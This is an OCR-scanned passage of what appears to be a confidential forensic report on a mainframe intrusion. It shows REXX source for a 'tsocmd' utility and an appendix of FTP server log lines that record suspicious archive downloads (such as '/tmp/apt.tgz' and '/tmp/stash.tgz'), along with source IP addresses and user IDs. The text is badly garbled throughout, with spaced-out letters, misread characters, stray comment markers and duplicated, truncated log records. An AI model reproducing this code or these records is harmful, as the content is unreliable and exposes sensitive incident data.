ds l i s t  e n t r i e s  s o  n o  p r e f i x  w o r k  w i l l  o c c u r , ma t e h e s  t s o  

c ommand behavi o r . 

ds l i s t  = ds l i s t l l de l im l l ' ' ' '  l l ds n B e f l l ' ' ' '  

/ * C r e a t e  l i s t  o f  da t a  s e t s  w i thout qu o t e s ,  i n  c a s e  n e e d  t o  s en d  

a me s s a ge s o  we can mirni e me s s a ge p r e s e n t a t i o n  o f  t h e  t s o  

c omman d .  

msgds l i s t  = msgds l i s t  l l de l im l l d s n B e f  

/ * D e t e rm i n e  n e x t  i t em t o  p r o c e s s  

P a r s e  v a r  dsnAft d s n B e f  

d e l  im 

End 

' ' ' 

dsnAft 

/ * Re s e t  de l imi t e r  t o  comma for 

addi t i o n a l  d a t a  s e t s . 

/ * End Do wh i l e  on i n foBe f . 

/ * S e t  up c omman d  s t r i n g  w i t h  c r e a t e d  data s e t  l i s t . Thi s 

/ * reque s t  ( e . g .  u s age of s h r ) mirni e s  the r e qu e s t  i n  the t s o  

/ * c omman d  a n d  T o o l s  a n d  T o y s  ve r s i on o f  t s o cmd c ommand . 

cmdS t r i n g  = ' a l l o c  dd ( '  l l dd l l ' )  d s n ame ( '  l l ds l i s t l l ' )  s h r ' 

C a l l  dbg i n f o  ' Ot h e r  a l l o c a t i o n  cmd = ' l  l cmdS t r i n g  

Actdre s s  t s o  cmdS t r i n g  / * P r o c e s s  a l l o c  c ommand .  

I f  r e  < >  O Then / * Che c k  r e t u r n  value f r om 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* / 

* / 

* / 

* l 

* l 

* l 
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2 7 1 8 1  actdre s s  t s o  r e qu e s t . * /  

2 7 2 5 3  D o  / *  Do f o r  n o n  z e r o  r e t u rn code . * /  

2 7 3 2 5  / *  S e n d  i n f o rma t i o n a l  f a i l u re me s s a ge . * l 

2 7 3 9 7 C a l l  s e n dM s g  2 , 5 4 5 5 ,  

2 7 4 2 4  , '' t s o cmd : D a t a  s e t  n o t  a l l o c a t e d  t o % % : % % ,  r e t u r n  c ode % % . '' ,  

2 7 4  9 4  , dd , msgds l i s t , r c 

2 7 5 1 9  R e t u r n  l / *  Re t u r n  i n d i c a t i n g  f a i l u r e . * /  

2 7 5 9 1  E n d  / *  E n d  D o  f o r  non z e r o  r e t u r n  c o de * /  

2 7 6 6 3  E l s  e 

2 7 6 7 0  Re t u r n  O / *  Re t u r n  i n d i c a t i n g  s u c c e s s . * l 

2 7 7 4 5  Re t u r n  O / *  S h ou l d  neve r get h e r e . * l 

2 7 8 1 9  / * - - S TART O F  FUNCT I ON S PE C I F I CAT I ON S  

2 7 8 9 4  / /  Fun c t i on Name s e n dE nvVa rMs g  

2 7 9 3 6  / /  Fun c t i o n  D e s c r i p t i o n : S e n d  t h e  app rop r i a t e  c ommo n  e nv i r onme n t  v a r i a b l e  

2 8 0 1 1  l l 

2 8 0 8 3  I l  Depende n c i e s  

2 8 1 1 7  / /  Re s t r i c t i o n s  

2 8 1 5 1  / /  I np u t  

2 8 2 1 3  I l  

2 8 2 7 4  / /  

2 8 3 3 8  I l  

2 8 4 0 3  I l  

2 8 4 7 2  / / E x i t  N o rma l 

2 8 4 8 7  / /  Re t u r n  V a l u e  

2 8 5 1 8  / /  Outpu t s  

2 8 5 8 4  / /  

2 8 6 4 5  / / E x i t  E r r o r  

2 8 6 5 9  / /  

2 8 6 9 0  I l  

Re t u r n  V a l u e  

Outpu t s  

2 8 7 2 7  / /  N o t e s 

me s s age and then e x i t  w i t h  2 5 5  r e t u r n  c o de . 

None . 

N o n e . 

envva r i n  - envi ronment va r i ab l e  n ame 

to be put in the me s s age 

r c i n  - r e t u r n  c o de v a l u e  t o  be p u t  in 

the me s s a ge . If th i s  is O ,  t h e n  

s en d  me s s age w i th o u t  r e t u r n  c o de . 

None . 

Envi r onme n t  v a r i ab l e  f a i l u r e  me s s age i s  

d i s p l ayed and the p r o gram e x i t s . 

N o n e . 

Un known . 

N o n e . 

2 8 7 6 1 / / - - END O F  S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * /  

2 8 8 3 3  s e n dEnvVarM s g : P r o e e ctu r e  e xp o s e  dbgLvl c a t de s c  E S C  N 

2 8 8 8 6  P a r s e  a r g  envva r i n ,  r c i n  / *  D e t e rm i n e  p a s s e d  v a l ue s . * /  

2 8 9 6 1  / *  S e n d  f a i l u re me s s age w i t h  spe c i f i e d  envi r o nme n t  v a r i a b l e  v a l u e . * /  

Sidan 2 1 2  av 574 

Report 
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2 9 0 3 3  I f  r c i n  O Then 

2 9 0 5 2  Do 

2 9 1 2 4  C a l l  s e n dM s g  2 , 5 4 5 4 , 

l * No r e t u rn c o de to spe c i f y . * l 

Sidan 2 1 3  av 574 

Report 

2 9 1 5 1  , '' t s o cmd : Unexpe c t e d  e r r o r  o c cu r r e d  p r o c e s s i ng envi r o nment v a r i a b l e '' '' % % '' '' '' 

2 9 2 3 7  , e nvva r i n  

2 9 2 5 5  E n d  

2 9 2 6 3 E l s  e 

2 9 2 7 0  Do l * Have return c o de t o  sp e c i f y . * l 

2 9 3 4 2  C a l l  s en dM s g  2 , 5 4 5 3 ,  

2 9 3 6 9  , '' t s o cmd : Unexpe c t e d  e r r o r  o c cu r r e d  p r o c e s s i ng envi r onme n t  va r i ab l e '' ' ' % % '' '' 
r e t u r n  c o de % % . ' ' ,  

2 9 4 7 1  , envva r i n , r c i n  

2 9 4 9 4 E n d  

2 9 5 0 5  C a l l  c l e anup 

2 9 5 7 7  E x i t  2 5 5  

2 9 5 8 6  

l * C a l l  c l e anup fun c t i o n . 

2 9 5 9 5 1 * - - S TART O F  FUNC T I ON S PE C I F I CAT I ON S  

2 9 6 7 0  I l  Fun c t i o n  N ame dbg i n fo 

* l 

2 9 7 0 6  I l  Fun c t i on D e s c r i p t i o n : W r i t e s  o u t  i n f o rm a t i o n  a c c o rd i n g  to debug l eve l . 

2 9 7 8 3  I l  Depende n c i e s  dbgLvl h a s  b e e n  s e t . 

2 9 8 3 3  I l  Re s t r i ct i o n s  N o n e . 

2 9 8 6 7 I l  I np u t  i n f o  - i n f o rma t i o n  t o  w r i t e  i f  r e qu e s t e d  

2 9 9 3 6  I l  E x i t  N o rmal 

2 9 9 5 1  I l  Re t u r n  V a l u e  None . 

2 9 9 8 2  I l  Outpu t s  I n f o rma t i o n  i s  w r i t t e n  t o  s t an d a r d  e r r o r . 

3 0 0 5 2  I l  E x i t  E r r o r  

3 0 0 6 6  I l  Re t u r n  V a l u e  None . 

3 0 0 9 7  I l  Outpu t s  Unknown . 

3 0 1 3 4  I l  N o t e s  None . 

3 0 1 6 8  1 1 - - END O F  S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

3 0 2 4 7  dbg i n f o : P r o e e ctu re expo s e  dbgLvl c a t de s c  E S C  N 

3 0 2 9 5  P a r s e  a r g  i n f o  l * D e t e rmine p a s s e d  va l u e . 

3 0 3 7 1  l * D e t e rmine i f  n e e d  t o  s e n d  debug i n f o rmat i o n . 

3 0 4 4 3  I f  dbgLvl > O Then 

3 0 4 6 5  C a l l  s e n dM s g  2 , - 1 , i n f o  l * S e n d  i n f o rma t i o n ; i n d i c a t e  t o  

* l 

* l 

Str ict ly confidenti a l  l Bus i ness Secret l 



3 0 5 3 4  d o  n o  c a t a l o g  wo r k .  * l 

3 0 6 0 6  Re turn 

3 0 6 1 7  1 * - - S TART O F  FUNCT I ON S PE C I F I CAT I ON S  

3 0 6 9 2 I l  Fun c t i o n  Name c h e c kDebug 

3 0 7 3 1  Il Fun c t i o n  D e s c r i p t i o n : De t e rm i n e  debug l eve l if any . 

3 0 7 8 9  I l  Depende n c i e s  None . 

3 0 8 2 3  I l  Re s t r i c t i o n s  None . 

3 0 8 5 7  I l  I nput cmdi nput - i n f o rmat i o n  p a s s e d  t o  t s o cmd 

3 0 9 2 5  I l  E x i t  N o rm a l  

3 0 9 4 0  I l  Return V a l u e  0 , 1 o r  2 f o r  debug l eve l 

3 0 9 9 0  I l  Outpu t s  None . 

3 1 0 2 4  I l  E x i t  E r r o r  

3 1 0 3 8  I l  Re turn V a l u e  None . 

3 1 0 6 9  I l  Outpu t s  Un known . 

3 1 1 0 6  I l  N a t e s  O n l y  l o o k i n g  f o r  - d and - dd opt i o n s . 

3 1 1 7 1  1 1 - - END O F  S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

3 1 2 4 3  c h e c kDebug : P r o e ecture exp o s e  dbgLvl c a t de s c  E S C_N 

3 1 2 9 4  P a r s e  a r g  cmd i np u t  l * D e t e rmine p a s s e d  va l u e . 

3 1 3 6 6  r t n Db g  = O l * I n i t  r e t u rn to O .  

3 1 4 4 5  l * Was - dd s p e c i f i e d  ( fo l l owed b y  b l a n k ) ? T h i s  mu s t  b e  done a s  two 

3 1 5 1 5  s e p a r a t e  che c k s  wh e r e  the b l a n k s  i s  spe c i f i c a l l y  c h e c k e d  o n  i t s  

3 1 5 8 4  own . 

3 1 6 5 6  I f  ( ( s ub s t r ( cmdi npu t , l , 3 )  ' - dd ' )  & ( s ub s t r ( cmdinput , 4 , 1 ) = ' ' ) )  

3 1 7 3 2  Then r t n Db g  = 2 l * s e t  debug l evel t o  g e t  t r a c i n g  

3 1 8 0 1  a n d  debug me s s age s . 

3 1 8 7 4  E l s  e 

3 1 8 8 1  Do 

3 1 8 8 8  l * W a s  - d spe c i f i e d  ( f o l l ow e d  b y  b l a n k ) ? Thi s mu s t  b e  done a s  

3 1 9 5 7  two s ep a r a t e  che c k s  where the b l an k s  i s  spe c i f i c a l l y  c h e c k e d  

3 2 0 2 9  o n  i t s  own . 

* l 

* l 

* l 

* l 

* l 

3 2 1 0 1  I f  ( ( s ub s t r ( cmdinpu t , l , 2 )  ' - d ' ) & ( s ub s t r ( cmdinpu t , 3 , 1 )  = ' ' ) )  

3 2 1 7 5  Then r t n Db g  = l 

3 2 2 4 3  

3 2 3 1 5  End 

l * set debug l e ve l  t o  g e t  debug 

me s s age s . * l 

Sidan 2 1 4  av 574 

Report 
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3 2 3 2 3  Return r t n Dbg 

3 2 3 3 7  / * Mu s t  a l ways end s ou r c e  with new l i n e  * l 

Sidan 2 1 5  av 574 

Report 

Strictly confidenti a l  l Bus i ness Secret l 



Appendix } :  

downloaded 

List of tar-archive fil e s that have been 

Th i s  i s  a l i st of a l l  fi l es  of type "ta r a rch ives" that have been down l oaded 

U n re l ated fi les conta i n i ng the word "ta r" have been manua l  ly removed from the l i st .  

rom $  egrep 'ta r l tgz '  TCP _FTP _SERVER_ * l more 

Sidan 2 1 6  av 574 

Report 

T C P_ F T P_SERVER_T_ S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / tmp / ap t . t g z  

T C P_ F T P_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / tmp / ap t . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / ap t . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / c i c s w s dl . t g z  

T C P_FTP_SERVER_T_ S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 0 6 . 1 8 . 7 2 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; S P RB I 0 l ; I ; S ; F ; H ; l 3 . 0 6 . 1 8 ; 1 3 . 0 6 .  

1 8 ; 2 6 0 4 ; S ; ; ; ; F T P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 5 0 1 ; / s amp l e s / s t a r t u p . mk 

T C P_ F T P_SERVER_T_ S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S T EM / tmp / ap t . t g z  

T C P_FT P_SERVE R_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / c i c s w s dl . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 2 5 . 0 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 4 . 2 5 ; 1 3 . 3 4 .  

2 5 ; 1 4 0 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S T E M / t mp / a 0 / a o p s t a r t  

T C P_FTP_SERVER_T_ S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 3 9 . 1 8 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 4 . 3 9 ; 1 3 . 3 4 .  

3 9 ; 7 6 9 ; S ; ; ; ; F T P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / a 0 / c s f s t a r t  

T C P_FTP_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 5 0 . 8 1 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 4 . 5 0 ; 1 3 . 3 4 .  

5 0 ; 4 5 3 6 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / a 0 / h w i s t a r t  

T C P  F T P  S E RVER T S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -
- - - - -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S EQ ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 . 

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / . u . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / c i c s w s d l . t g z  

T C P_FTP_SERVER_T_ S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; F T P D l ; s em a i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 0 2 ; / tmp / u . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / u . t g z  
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T C P_FTP_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l 1 . 1 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / s t a s h . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; WAHS 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fv f t p / l . t g z  

T C P_FTP_SERVER_T_ S Y S 3_0 3 1 0 - 0 3 2 7 . c sv : 2 0 1 2 - 0 3 - 1 0 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 9 . 4 7 . 2 3 . 8 1 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; l 8 . 4 7 . 2 3 ; 1 8 . 4 7 . 2 3 ; 2 5 4  

l ; S ; ; ; ; FT P D 1 ; DAFAS ; l 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 4 0 3 4 ; / e t c / s t a r tup . mk 

T C P_FTP_SERVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 3 . 3 2 . 0 4 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9  

6 6 3 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 1 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S TE M / t mp / c t s 3 2 . t g z  

T C P_FT P_SERVER_T_ S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; F T P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / u . i t . t g z  

T C P  F T P_SERVE R_T_S Y S 3_0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 9 . 2 3 . 7 5 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 9 . 1 0 ; 0 8 . 2 9 . 2 3 ; 2 1 7  

7 0 2 0 0 ; 5 ; ; ;  : T C P_FTP_SERVER_T_S Y 1 9  0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 1 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 1 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / tmp / ap t . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 1 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 1 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / tmp / ap t . t g z  

T C P  F T P_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE TR ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / ap t . t g z  

T C P_FT P_S ERVER_T_ S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / c i c s w s d l . t g z  

T C P_ F T P_SERVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 0 6 . 1 8 . 7 2 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S PRB I 0 1 ; I ; S ; F ; H ; l 3 . 0 6 . 1 8 ; 1 3 . 0 6 .  

